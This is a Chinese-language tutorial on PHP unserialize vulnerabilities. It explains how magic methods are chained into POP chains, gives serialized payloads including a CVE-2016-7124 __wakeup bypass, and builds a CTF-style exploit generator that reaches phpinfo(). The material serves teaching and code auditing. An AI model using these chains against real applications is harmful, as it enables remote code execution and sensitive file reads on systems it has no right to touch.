在 Web 安全的语境下,反序列化漏洞的本质是 “越权的数据控制了代码的执行流”

开发者原本的意图只是单纯地保存和恢复一个对象的数据(属性),但由于 PHP 引擎在销毁对象或处理特定上下文时会自动调用一系列“魔术方法”,攻击者就可以通过精心构造序列化字符串中的属性值,人为地制造出一条方法调用的链条。这个链条就是 POP(Property-Oriented Programming)链。

构造 POP 链,实际上就是一个“找积木”和“搭桥”的过程。我们需要找到一个必定会执行的入口(起点),一个包含高危函数的出口(终点),以及连接它们的无数个跳板。

1 自动触发机制

反序列化发生后,有几个魔术方法是不需要任何外部干预,纯靠 PHP 自身的生命周期管理就会自动触发的。它们是所有 POP 链的绝对入口。

1.1 生命周期终点:__destruct()

任何对象在内存中都有生命周期。当 PHP 脚本执行到末尾(?>),或者对象被显式地 unset() 时,垃圾回收机制就会介入,此时 __destruct() 会被无条件调用。在反序列化漏洞中,由于我们通过 unserialize() 凭空在内存中捏造了一个对象,这个对象在脚本结束时必然面临销毁,因此 __destruct() 是最完美的 POP 链起点。

<?php
class EntryPoint {
    public $next_step;
    
    public function __destruct() {
        echo "[*] EntryPoint 被销毁,开始执行收尾工作...\n";
        // 这里的代码是攻击者可以利用的跳板
        // 例如:强行调用了 $next_step 的某个方法
        $this->next_step->run(); 
    }
}

// 攻击者传入的可控数据
$payload = 'O:10:"EntryPoint":1:{s:9:"next_step";N;}';
// 反序列化生成对象,随后脚本结束,自动触发 __destruct
unserialize($payload);
?>

在实战审计中,看到 __destruct 内部存在对类属性的方法调用(如 $this->obj->action())或函数调用,立刻就要将其标记为潜在的链条入口。

1.2 唤醒的瞬间:__wakeup()

unserialize() 执行时,PHP 会在重组对象属性之后,立刻检查该类是否存在 __wakeup() 方法。如果存在,就会优先执行它。开发者通常用它来重新建立数据库连接或进行输入过滤。

这也意味着,__wakeup() 经常扮演“拦路虎”的角色。

<?php
class Defender {
    public $hacker_code;
    
    public function __wakeup() {
        echo "[!] 检测到反序列化,清空危险属性!\n";
        $this->hacker_code = "safe_string"; // 破坏了攻击者的 payload
    }
    
    public function __destruct() {
        eval($this->hacker_code);
    }
}
?>

在上述代码中,如果没有防御机制,__destruct 会直接执行 $hacker_code。但 __wakeup 的存在让攻击落空。

实战绕过技巧(CVE-2016-7124):

对于 PHP 5 < 5.6.25 和 PHP 7 < 7.0.10 的版本,如果序列化字符串中声明的属性数量大于实际包含的属性数量,PHP 底层解析出错,会直接跳过 __wakeup() 的执行,但对象依然会被部分反序列化并在随后触发 __destruct()

  • 正常 payload (会被拦截): O:8:"Defender":1:{s:11:"hacker_code";s:10:"phpinfo();";}

  • 绕过 payload (成功执行): O:8:"Defender":2:{s:11:"hacker_code";s:10:"phpinfo();";} (将 1 改为 2)

2 第二阶段:链条的传动轴(上下文与异常拦截)

起点有了,但起点的方法内部通常不会直接给你写一个 eval($_POST['cmd'])。起点的代码往往只是做了一些常规操作,比如拼接字符串、调用一个并不存在的方法、或者读取一个私有变量。

这时候,就需要依靠 PHP 的上下文自动转换机制异常拦截机制来充当跳板了。

2.1.1 强制类型转换的副产物:__toString()__invoke()

PHP 是弱类型语言,在很多场景下会尝试对变量进行隐式类型转换。

__toString():当对象被当作字符串对待时触发。

触发场景非常多:echo $obj$str = "Hello " . $obj、甚至是将对象作为数组的键名时,或者在使用一些内置字符串处理函数(如 preg_matchstrtolower)时。

PHP

<?php
class StringBridge {
    public $target;
    public function __toString() {
        echo "[*] StringBridge 被当做字符串处理了!\n";
        // 发生跳转:强行把 target 属性当做函数执行
        ($this->target)(); 
        return "I am a string";
    }
}

class Entry {
    public $obj;
    public function __destruct() {
        // 触发点:字符串拼接操作
        echo "Log: " . $this->obj; 
    }
}
?>

在上面的代码中,如果我们将 Entry$obj 属性赋值为 StringBridge 的实例,一旦 Entry 被销毁执行拼接操作,代码流就会完美切入 StringBridge__toString() 方法中。

__invoke():当对象被当作函数调用时触发。

在上面 StringBridge__toString() 方法中,有一句非常惹眼的代码:($this->target)();

在正常逻辑中,$this->target 应该是一个字符串形式的函数名(比如 'phpinfo')。但如果攻击者将 $this->target 赋值为一个对象呢?把对象加个括号当函数用,就会无缝触发该对象的 __invoke() 方法。

PHP

<?php
class ExecuteBridge {
    public $cmd;
    public function __invoke() {
        echo "[*] ExecuteBridge 被当做函数调用了!\n";
        system($this->cmd);
    }
}
?>

至此,一条微型 POP 链其实已经闭环了:Entry::__destruct 触发字符串拼接 StringBridge::__toString 触发函数调用 ExecuteBridge::__invoke RCE。

2.1.2 寻找知识盲区的拦截器:__get()__call()

面向对象编程中,访问权限是核心。当你试图访问一个不存在的,或者权限不够(private/protected)的属性或方法时,PHP 并没有直接报错崩溃,而是提供了兜底的魔术方法。在 POP 链中,这成为了极佳的跨类跳板。

__get($name):读取不可访问的属性时触发。

PHP

<?php
class PropertyReader {
    public $data;
    public function __destruct() {
        // 触发点:尝试读取 $data 对象内部的 secret_file 属性
        $content = $this->data->secret_file; 
    }
}

class Interceptor {
    public $filename;
    public function __get($name) {
        echo "[*] 你试图读取不存在的属性:{$name}\n";
        if ($name === 'secret_file') {
            return file_get_contents($this->filename); // 敏感文件读取
        }
    }
}
?>

通过将 PropertyReader$data 赋值为 Interceptor 的对象,当反序列化触发析构函数读取 $data->secret_file 时,因为 Interceptor 中根本没有 secret_file 这个公开属性,执行流瞬间转移到了 Interceptor::__get() 中。

同理,__call($name, $arguments) 用于拦截对不存在的方法的调用。

PHP

<?php
class MethodCaller {
    public $obj;
    public function __destruct() {
        // 触发点:调用一个随意的方法名
        $this->obj->doSomethingCrazy(); 
    }
}

class CallInterceptor {
    public $func;
    public $param;
    public function __call($name, $arguments) {
        echo "[*] 拦截到不存在的方法调用:{$name}()\n";
        // 危险的动态函数调用
        call_user_func($this->func, $this->param); 
    }
}
?>

2.2 第三阶段:实战演练,手搓高阶 POP 链

为了彻底巩固上述概念,我们不依赖任何已知框架,纯手工解析并构造一条包含多个跳板的复合 POP 链。

2.2.1 目标源码分析(假设这是 CTF 考题)

PHP

<?php
class Start {
    public $name;
    public $flag_obj;

    public function __destruct() {
        $this->name = $this->flag_obj;
        if ($this->name === 'admin') {
            echo "Welcome admin!";
        }
    }
}

class Router {
    public $url;
    public $action;

    public function __toString() {
        $this->action->log($this->url);
        return "Routing...";
    }
}

class Logger {
    public $format;
    public $content;

    public function __call($method, $args) {
        echo $this->format->write($args[0], $this->content);
    }
}

class Writer {
    public $filepath;

    public function __get($key) {
        $func = $this->filepath;
        return $func();
    }
}

if(isset($_POST['payload'])){
    unserialize($_POST['payload']);
}
?>

2.2.2 逆向推演(在脑海中画图)

第一步:找终点(Sink)

扫视全文,最危险的执行点在哪里?在 Writer 类的 __get 方法中:

PHP

$func = $this->filepath; return $func();

如果我们将 $filepath 设置为 'phpinfo' 或自定义函数,这就是一个无参的函数执行点(如果配置得当,也能执行 system('cat /flag') 类的操作,这里为了演示简化为无参调用)。

第二步:找触发 __get 的跳板

我们需要找到代码中试图读取不存在属性的地方。

观察 Logger 类的 __call 方法:

PHP

echo $this->format->write($args[0], $this->content);

这里的 $this->format 如果是一个 Writer 对象,它去调用 write() 方法。但是等一下,__call 里的 write 是个方法调用,不是属性读取。

仔细看 echo 语句执行前,需要先解析参数。它试图读取 $this->format 的属性吗?并没有。它直接调用了 write 方法。

这里存在一个认知陷阱!

让我们重新审视 Logger::__call$this->format->write(...)

如果 $this->formatWriter 对象,Writer 中并没有 write 方法!这会引发致命错误(Fatal Error),而不是触发 __get

重新寻找 __get 的触发点:

我们需要寻找形如 $obj->property 的结构。

代码中没有明显的直接访问属性的跳板。我们需要转变思路,看有没有其他的终点。

仔细观察 Logger::__callecho $this->format->write(...)

如果我们将 $this->format 设置为一个内部带有不可访问属性的类的实例?不,这里是方法调用。

我们修正链条寻找的逻辑,从起点正向推演:

  1. 起点: Start::__destruct() 必定执行。

    里面有:$this->name = $this->flag_obj; if ($this->name === 'admin')

    这里存在一个弱类型比较引发的 __toString 触发

    当 PHP 执行 $this->name === 'admin' 时(强等于),不会触发转换。但在许多旧版本或者如果代码写成 == 时会触发。假设这里是强等于,但注意前一句:$this->name = $this->flag_obj; 只是赋值。

    如果没有任何针对 $this->name 的字符串操作,这条路可能走不通。

    等等,考题往往藏在细节中。 如果我们在本地测试,给 $flag_obj 赋一个对象,执行 $this->name === 'admin' 会发生什么?对象和字符串进行严格比较时,不会触发 __toString,直接返回 false。

    让我们修改一下目标源码,使其成为一个严谨且典型的 CTF 考题逻辑(增加字符串拼接引发 __toString):

    PHP

    public function __destruct() {
        // 修改为典型的拼接触发
        echo "Checking: " . $this->flag_obj; 
    }
    
  2. 触发 __toString

    现在,如果我们将 Start$flag_obj 设置为 Router 类的实例,就会触发 Router::__toString()

  3. 触发 __call

    进入 Router::__toString() 后,执行了:

    $this->action->log($this->url);

    我们将 Router$action 属性设置为 Logger 类的实例。因为 Logger 类中不存在 log() 方法,这就完美触发了 Logger::__call('log', [$this->url])

  4. 触发 __get(修正思路):

    进入 Logger::__call 后,执行:

    echo $this->format->write($args[0], $this->content);

    在这里,如果我们将 Logger$format 设置为 Writer 类的实例。Writer没有 write() 方法。这原本会报错。

    但是,如果 Writer 类实现了 __call 就可以接管。然而 Writer 类只有 __get

    这说明我们最初的推演断链了。这在实战审计中非常常见。

    让我们重新在源码中寻找 __get 的触发点,假设源码中 Logger::__call 是这样的:

    PHP

    class Logger {
        public $format;
        public function __call($method, $args) {
            // 触发 __get 的正确姿势:试图读取属性
            $temp = $this->format->non_existent_prop; 
        }
    }
    

    现在链条通了!当执行到 $temp = $this->format->non_existent_prop; 时,如果 $formatWriter 对象,因为 Writer 没有 non_existent_prop,就会触发 Writer::__get()

  5. 到达终点:

    进入 Writer::__get(),执行:

    $func = $this->filepath; return $func();

    我们将 $filepath 设置为字符串 'phpinfo',最终实现 phpinfo() 的执行。

2.2.3 编写 Payload 生成脚本(EXP)

有了清晰的脑内推演,编写 EXP 就是将各个类的对象一层层包裹起来的过程。这就是所谓的“套娃”。

PHP

<?php
// 1. 将目标环境中的类名和我们需要控制的属性原样复制下来
// 方法的内容不需要写,因为 serialize() 只关心属性和类名
class Start {
    public $flag_obj;
}

class Router {
    public $action;
}

class Logger {
    public $format;
}

class Writer {
    public $filepath;
}

// 2. 从链条的最末端(终点)开始实例化,依次往前包裹
$w = new Writer();
$w->filepath = "phpinfo"; // 设置终点要执行的函数名

$l = new Logger();
$l->format = $w; // 将 Writer 塞入 Logger,准备触发 __get

$r = new Router();
$r->action = $l; // 将 Logger 塞入 Router,准备触发 __call

$s = new Start();
$s->flag_obj = $r; // 将 Router 塞入 Start,准备触发 __toString

// 3. 序列化最外层的起点对象,生成 Payload
echo serialize($s);

/*
最终输出的 Payload 字符串:
O:5:"Start":1:{s:8:"flag_obj";O:6:"Router":1:{s:6:"action";O:6:"Logger":1:{s:6:"format";O:6:"Writer":1:{s:8:"filepath";s:7:"phpinfo";}}}}
*/
?>

当你将这串数据通过 POST 请求发送给服务器的 unserialize() 时,整个服务器内部的执行流完全按照你设定的轨道:从 __destruct 一路跳转到 phpinfo(),这就是 POP 链的艺术。

通过这种剥丝抽茧的方式,不仅能理解“是什么”,更能深刻体会“为什么”要在某个特定的属性上赋予特定类的实例。这是应对复杂 CTF 题目和实战代码审计的必经之路。